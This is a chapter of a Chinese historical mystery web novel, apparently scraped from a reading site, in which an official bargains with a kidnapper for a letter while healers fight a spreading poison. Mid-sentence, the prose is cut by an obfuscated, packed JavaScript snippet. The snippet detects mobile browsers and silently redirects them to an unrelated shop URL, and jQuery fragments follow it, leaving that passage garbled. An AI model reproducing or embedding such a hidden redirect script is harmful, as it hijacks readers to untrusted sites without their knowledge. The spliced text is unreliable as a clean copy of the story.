默认冷灰
24号文字
方正启体

44. 标题

作者:姜黄不迟本书字数:K更新时间:
    第二日清晨,单雨的体温总算缓缓降了下来。后半夜时,仲子瑜便硬将守在一旁的万盼夏撵回去歇息,此刻屋内只剩他一人,仰靠在床边的椅中,眉头紧锁,半阖着眼,一只手仍搭在床沿上。


    万盼夏无声地推门进来,手里端着一碗温热的米粥。


    她轻步走到床前。单雨脸色惨白,裹在被中,全无平日里那副爽利干练的模样。万盼夏动作微顿,将粥碗搁在一旁的小几上,取过帕子,蘸了温水,轻轻沾上她额角的虚汗。


    “你来了。”仲子瑜听见动静睁开眼,眼底尽是血丝。


    万盼夏点点头:“你先喝点粥,回去躺一会儿吧,这里我来守着。”


    仲子瑜没接话,起身端过那碗温热的粥。白气氤氲,米香淡淡。他舀起一勺,动作却忽然顿住,抬眼看向万盼夏:“昨夜……我好像听见娄大人匆匆回来过?是有什么急事?”


    ““初柔姐姐……失踪了。”万盼夏声音低了下去。她昨夜翻来覆去几乎没合眼,此刻眼下泛着一片淡淡的青灰。


    仲子瑜目光落回单雨紧闭的双眼,沉默片刻,才低声道:“别太担心。娄大人……一定会找到她。”


    “大人,惠宜客栈旁边的通道已经全部搜查完毕。”陈成止双手奉上一枚白色流苏,“这是在后面巷子里发现的。”


    娄征拿起穗子,确定是常初柔昨日换上的装饰,五指倏然收拢,将那缕穗子紧紧攥入掌心。


    “我们被耍了。”他闭了闭眼,再睁开时眼底布满血丝,声音却压得极沉,“你们先回去。”


    陈成止与旁边的李怀一怔,抬头看向他,“大人?”


    娄征将流苏揣入怀中,略一沉吟,“回去禀告方大人,请他细查昨夜我们来此的路上,可还有对方留下的痕迹。”他顿了顿,“再去辉海书院找找那位仲大夫之前所住的院落。”


    “属下明白!”李怀忍不住多问了一句,“那大人您……”


    话未说完,便被陈成止以肘轻碰制止。


    “我另有线索。”娄征翻身上马,最后望了一眼沉寂的惠宜客栈,目光沉沉,“记住我交代的事。”


    说罢策马而去,身影很快没入长街尽头。


    余下二人不敢耽搁,匆匆赶回衙门。待惴惴禀明后,低垂着着头,只听到方绘没有情绪的一句话:“我知道了,照他说的做。”


    走到远处的人啊,回头所望的会是家乡吗?


    城外十余里,已出常州地界。秋深林密,山道蜿蜒。娄征牵着马登上一处略高的坡坎,向下望去——一间木屋孤零零立在林间,静谧得近乎萧索。


    马儿被拴在树下,不耐地踏着蹄子,喷出团团白气。


    娄征走到木屋门前。门虚掩着,漏出一道幽深的缝隙。他伸手正要推开——


    “你要做什么?”


    是个孩子的声音。


    那孩子穿着褐布短打,袖口与裤脚都明显短了一截,怀里抱着一捆柴,手指冻得通红。


    娄征现在见到孩童,心头便无端涌起一股躁意。他克制地吸了口气:“对不住。有人约我来此,见门开着,以为人在里面。”


    孩子点点头,用身子抵开门:“进来等吧。他找吃的去了,最近是一点吃的都没了。”


    娄征在外被冷风吹得冷静下来,跟着进了屋,屋里一片漆黑,孩子不知从哪儿摸出两块火石,擦了几下,才溅起几点微弱的、闪烁的火星。


    一盏茶的时间过去,火星依旧只是零星溅起,迟迟未能点燃柴薪。


    “我来吧。”娄征快要冻成僵尸了。


    “嘿嘿”小孩识相的交出火石,蹲到一边。


    “嚓——”


    一道火光倏然跃起,干燥的柴薪终于被引燃。娄征添了几根细柴,火势渐旺,暖意裹着光亮晕开,终于驱散了屋内的阴冷与昏暗。


    火光映照出木屋的轮廓:两张低矮的木板床,一个旧木柜,还有一条绳子从柜子上方牵到房间另一头,挂着几件辨不清颜色的破旧衣物。


    “你们是做什么的?”不明白那人叫他来这做什么。


    孩子提来一盏小油灯,凑近火苗点燃。屋内更亮了些,她露出一个笑脸,牙齿在火光里白得晃眼:“乞丐呀,看不出来么?”


    “在山林里行乞?”娄征有时实在不懂,为何人人都爱把话绕弯子说——他自己也这样。


    孩子瞪了他一眼,肚子却不合时宜地“咕噜”叫了一声。她索性扭过头,抱着膝盖坐在火堆另一侧,盯着跳跃的火焰出神。眼睛大的吓人。


    时间在寂静中流淌。娄征闭目凝神,耳边只有柴火燃烧的噼啪声。旁边小孩捧着一小袋子胡豆吃的正香。


    他耐不住地睁开眼:“他什么时……”


    话未说完,屋外传来脚步声。门被推开,冷风卷入。进来的是一名身穿深绿色旧衣的女孩,手里提着一只尚在滴血的野鸡。她进门便与娄征目光相撞,脚步顿了顿,脸上却无多少意外。


    ““你来了。”她示意那孩子端来热水,一边将鸡搁下。血已放得差不多了,她从床底拖出一个木盆,将鸡浸入,开始麻利地拔毛。


    “要怎样才肯放初柔?”娄征开门见山。


    “你身上的那封信。”女孩手上动作丝毫未停,热水蒸腾的白雾尚未散尽,鸡毛已被褪得干干净净。她执刀剖开鸡腹,手法娴熟地清理内脏,不过几盏茶的工夫,一只光溜溜的鸡便已处理妥当,搁在一旁。


    “邓又儿,”娄征在她进门时便认了出来——邵冬生早已凭记忆绘出她的容貌,画像就收在衙门的藏书间里,“绿腰的野心,未免太大了。”


    邓又儿轻轻笑了笑,取过一根削好的木棍将鸡串起,稳稳架到早已生好的火堆上:“什么野心,不过是为一个机会罢了。”


    “信我可以给你。初柔人在何处?”


    “信交给我,常姑娘自会平安回府。”


    “我凭什么信你?”


    “信,或不信,”邓又儿将依偎在身旁的孩子往远处轻轻带了带,避开跳动的火星,“娄大人,还有别的选择么?”


    “信我没带在身上。明日,我会交给你。”娄征看到小孩垂涎的表情,对着邓又儿挖苦道:“你倒是闲适,还在这过家家。”


    邓又儿歪了歪头,身边的孩子也学着她的样子,一齐歪头看向娄征。


    “为何不直接带她去绿腰?总好过在这忍饥挨饿。”


    邓又儿垂眸“那是什么好去处吗?”


    娄征沉默“我明日来找你。我要见到她安然无恙,才会给你信。”


    “后日是十五。”邓又儿转动鸡身,藏着点雀跃。


    “所以?”


    “后天,我去找你。”她抬眼。


    “我要先见初柔。”娄征脸色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887781|192085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沉了下去。多拖一日,便多一分变数。


    “你没得选。”邓又儿笑起来,语气却淡,“你知道的,我不过是个无足轻重的小人物。”


    所以,即便擒住她,也换不回常初柔。


    单雨的体温再次骤然攀升,陷入昏睡中的手指不受控制地微微抽搐。另一边,穆和的情形同样骇人,裸露的皮肤下,数条细如发丝、蜿蜒如蚓的黑色纹路正悄然蔓延,透着一股不祥的气息。


    万盼夏与仲子瑜一人守住一边,焦灼不已。就在万盼夏匆忙寻出纸笔,准备将今夜惊变传信出去时,门口却传来一阵僵硬迟缓的脚步声。


    抬眼望去,竟是单雨从仲回风处带回来的那名小侍童。他面无表情,步伐木然,径直走至单雨榻前,缓缓俯身,竟从她腰间暗袋中拈出一片干枯的、半黄半绿的叶子,将其轻轻覆在了她紧闭的眼睑之上。


    说来也奇,叶片落下不过片刻,单雨紧绷的身体与抽搐的手指便渐渐松弛下来,呼吸也平稳了许多。


    待那小侍童默默退回墙角,如同没有生命的木偶般垂首站定,万盼夏才压低声音,斜睨着他问道:“这小童……你们之前可仔细查验过?”


    仲子瑜一边快速检查穆和身上越发密集的黑线,一边头也不抬地低声道:“查过。脉象、气息、瞳色,甚至试探过几处穴道反应,与寻常受惊失魂的稚子无异。”


    此刻,穆和手臂上的一道黑线已蔓至肩颈,隐隐有向心脉侵蚀之势,皮肤下的脉络诡异地鼓动。万盼夏盯着那扭动的黑线,脑中忽然闪过昔日翻阅某本冷僻医札时见过的记述,她急声道:“等等!‘邪毒循经,气滞于郄’。气舍!是气舍穴!”


    仲子瑜瞬间会意!他再无犹豫,捻起一根银针,精准无比地刺入穆和颈侧的气舍穴,并运起内劲微微一旋。


    针落之处,那疯狂滋长的黑线仿佛突然撞上了一堵无形的墙,势头戛然而止,在距离心口仅一寸之处,险险停住。


    两人同时长舒一口大气,冷汗已湿透后背。万盼夏不敢耽搁,立刻伏案疾书,将此地惊变——穆和中毒异变、单雨重伤昏迷、小侍童诡异举动,尽数写下。


    月下河奔腾不休,涛声如旧。


    邵冬生与玉万珰正在河岸一处僻静回湾仔细勘查,这里就是昨夜方丈所说的,赵海经常呆的地方。


    不远处,昨日有过一面之缘的祖孙二人正在收网。那唤作圆圆的小孩,手里的活计做着,眼神却总是不自觉地往两人身上瞟。邵冬生见状,微笑着朝他挥了挥手。圆圆眼睛一亮,立刻放下手中的绳子,小跑着过来。


    “你叫圆圆,是吗?”邵冬生蹲下身,与他平视,语气温和。她顺手从腰侧的小囊中取出一块用油纸仔细包好的饴糖,轻轻放在孩子小小的手心里。


    “嗯!”圆圆握着糖,有些不好意思立刻吃,蜷起手指,脸蛋被河风吹得红扑扑的。


    邵冬生笑意更深:“你总是看着我们,是有什么话想说吗?”她想起昨日分别时,圆圆回头张望的眼神,“还是……你想看看猫?”她示意了一下旁边的玉万珰,猫儿依旧被他妥帖地揣在身前的衣兜里,只露出一个毛茸茸的脑袋。


    “猫?”圆圆却露出了明显的疑惑,他看向玉万珰衣兜里那团黑色的小东西,歪了歪头,语气里带着天真却令人心头微紧的不解:


    “大哥哥那天抱着的……是猫吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)